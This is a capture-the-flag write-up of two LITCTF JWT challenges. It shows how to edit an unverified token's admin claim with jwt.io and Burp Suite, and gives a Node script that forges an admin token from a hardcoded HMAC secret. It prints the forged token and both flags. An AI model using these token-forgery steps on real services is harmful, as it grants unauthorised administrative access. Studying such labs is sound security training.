JWT

Exploiting JSON Web Tokens

JWT-1

Challenge Info

I just made a website. Since cookies seem to be a thing of the old days, I updated my authentication! With these modern web technologies, I will never have to deal with sessions again. Come try it out at http://litctf.org:31781/.

Understanding what a JWT is

The link that I’m given for this challenge is http://litctf.org:31781/. Before even messing with it though, I googled “JWT” to get some further context.

I found this Wikipedia page. The quick summary, however, is this:

JSON Web Token is a proposed Internet standard for creating data with optional signature and/or optional encryption whose payloads holds JSON that asserts some number of claims. The tokens are signed either using a private secret or a public/private key.

Attempts

Next, I visited the link, where I was greeted with this:

Default page for the site

Naturally, my first response was to hit the giant button that screams “GET FLAG”. This obviously didn’t provide anything (that’d be too easy, and that’s no fun).

unauthorized screen

Then, I want back to the “Log in” page, and decided to log in with the user admin and the password admin, since alot of bad sites will use these as the default. This didn’t work though, and I started to just try a bunch of different combinations, but each returned the same result:

login screen

Getting there…

Finally realizing this challenge wouldn’t be THAT easy, I opened up Burp Suite to try and map out the site (maybe there’s a hidden directory!).

I couldn’t find any hidden directories though, so I altered my approach, instead of trying to map out the site, I tried intercepting through Burpsuite.

intercept on burpsuite

Mostly, it looked like a normal site, but one thing did catch my eye- a cookie with the value of eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiMTIzIiwiYWRtaW4iOmZhbHNlfQ.0Pi%2FH9Rz7ylX%2FM1MwPS469hjUu3b9gV0%2Fl8EW6roQC0:

burpsuite screenshot

This immediately led me to think: “Can I manipulate this token to get admin?..” So, I went back to the “GET FLAG” screen, and decided to inspect element to take a look at the cookies:

cookies

For awhile, I messed with the value field. I tried changing it to admin, 123, etc. Eventually, the correlation struck me- the “value” is actually a JWT (JSON Web Token)

Solution

One of the first results when googling “JWT” is a site called jwt.io. This site lets us decode and modify JWT tokens, so it’s crucial to beating the challenge:

jwt.io

I decided to put the token I had into the “Encoded” field, and noticed that the information in the “PAYLOAD” field reflected the login credentials I had tried earlier.

payloads

From there, I tried modifying the “admin” value from false to true, and noticed that the encoded field automatically updated to reflect the changes.

new token

Then, I went back to Burpsuite intercept, and replaced the old cookie token with the NEW token (which is the same token, but with we modified admin: true), which for me was. I hit “forward”, and got the flag.

flag: LITCTF{o0ps_forg0r_To_v3rify_1re4DV9}

JWT-2

Challenge Info

its like jwt-1 but this one is harder. URL: http://litctf.org:31777/

attached: index.ts

JWT-2

Preface

While this is a separate challenge, its fundamentals are heavily derived from the first JWT challenge, which I heavily recommend you read first.

Trying the first solution

Since this is a continuation of the first JWT challenge, I figured I’d try the same solution. A quick recap on how I beat the first one:

  1. Register an account on the given site
  2. Use Burpsuite intercept to capture the JWT associated with our account
  3. Use jwt.io to read the contents of our JWT
  4. Modify admin so that it equals to true
  5. Access the “GET FLAG” button with our new JWT and acquire flag

For this challenge, while I was able to capture the JWT token and modify it to have admin set to true, upon actually using it, I was greeted with this:

unauthorized

Inspecting the attached TypeScript file

By now, I realized this challenge wouldn’t be as simple as the last one, so I decided to skim through the attached TypeScript file, which I’ll leave down below:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
import express from "express";
import cookieParser from "cookie-parser";
import path from "path";
import fs from "fs";
import crypto from "crypto";

const accounts: [string, string][] = [];

const jwtSecret = "xook";
const jwtHeader = Buffer.from(
JSON.stringify({ alg: "HS256", typ: "JWT" }),
"utf-8"
)
.toString("base64")
.replace(/=/g, "");

const sign = (payloads: object) => {
const jwtPayloads = Buffer.from(JSON.stringify(payloads), "utf-8")
.toString("base64")
.replace(/=/g, "");
const signature = crypto.createHmac('sha256', jwtSecret).update(jwtHeader + '.' + jwtPayloads).digest('base64').replace(/=/g, '');
return jwtHeader + "." + jwtPayloads + "." + signature;

}

const app = express();

const port = process.env.PORT || 3000;

app.listen(port, () =>
console.log("server up on http://localhost:" + port.toString())
);

app.use(cookieParser());
app.use(express.urlencoded({ extended: true }));

app.use(express.static(path.join(__dirname, "site")));

app.get("/flag", (req, res) => {
if (!req.cookies.token) {
console.log('no auth')
return res.status(403).send("Unauthorized");
}

try {
const token = req.cookies.token;
// split up token
const [header, payloads, signature] = token.split(".");
if (!header || !payloads || !signature) {
return res.status(403).send("Unauthorized");
}
Buffer.from(header, "base64").toString();
// decode payloads
const decodedPayloads = Buffer.from(payloads, "base64").toString();
// parse payloads

Just to highlight what this code does:

const [header, payloads, signature] = token.split(".");

  • splits the JWT token into its three parts; header, payloads, and signature, and the . acts as a delimiter.

if (!req.cookies.token)

  • checks if the token is missing, and responds with 403 Unauthorized if it is.

Buffer.from(header,"base64").toString() Buffer.from(payloads,"base64").toString()

  • The header and payloads are decoded from base64 to their original string format.

However, what’s really making us hit our head is the following:

1
2
3
4
5
6
const sign = (payloads: object) => {
const jwtPayloads = Buffer.from(JSON.stringify(payloads), "utf-8")
.toString("base64")
.replace(/=/g, "");
const signature = crypto.createHmac('sha256', jwtSecret).update(jwtHeader + '.' + jwtPayloads).digest('base64').replace(/=/g, '');
return jwtHeader + "." + jwtPayloads + "." + signature;

This removes the = characters from both the base64-encoded payloads and signature. This is normal in JWTs though, and doesn’t affect the token’s validity. The main issue here isn’t the removal of padding, but making sure that the token we craft adheres to this format.

Solution

The payloads that I came up with:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26

const crypto = require('crypto');

const jwtSecret = "xook";
const jwtHeader = Buffer.from(
JSON.stringify({ alg: "HS256", typ: "JWT" }),
"utf-8"
)
.toString("base64")
.replace(/=/g, "");

const sign = (payloads) => {
const jwtPayloads = Buffer.from(JSON.stringify(payloads), "utf-8")
.toString("base64")
.replace(/=/g, "");
const signature = crypto
.createHmac("sha256", jwtSecret)
.update(jwtHeader + "." + jwtPayloads)
.digest("base64")
.replace(/=/g, "");
return jwtHeader + "." + jwtPayloads + "." + signature;
};

const payloads = { name: "your_username", admin: true };
const forgedToken = sign(payloads);
console.log(forgedToken); // This is the token you will use.

This payloads creates a token using the xook secret, modifies admin to true, and removes all padding (= characters).

Then, I replaced the old token in Burpsuite intercept with the new one: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoieW91cl91c2VybmFtZSIsImFkbWluIjp0cnVlfQ.xwxnk5ogziOC8xlMNuolHBuQDbefnLA9rATCeS7fS+s, and hit “forward”.

flag

flag: LITCTF{v3rifyed_thI3_Tlme_1re4DV9}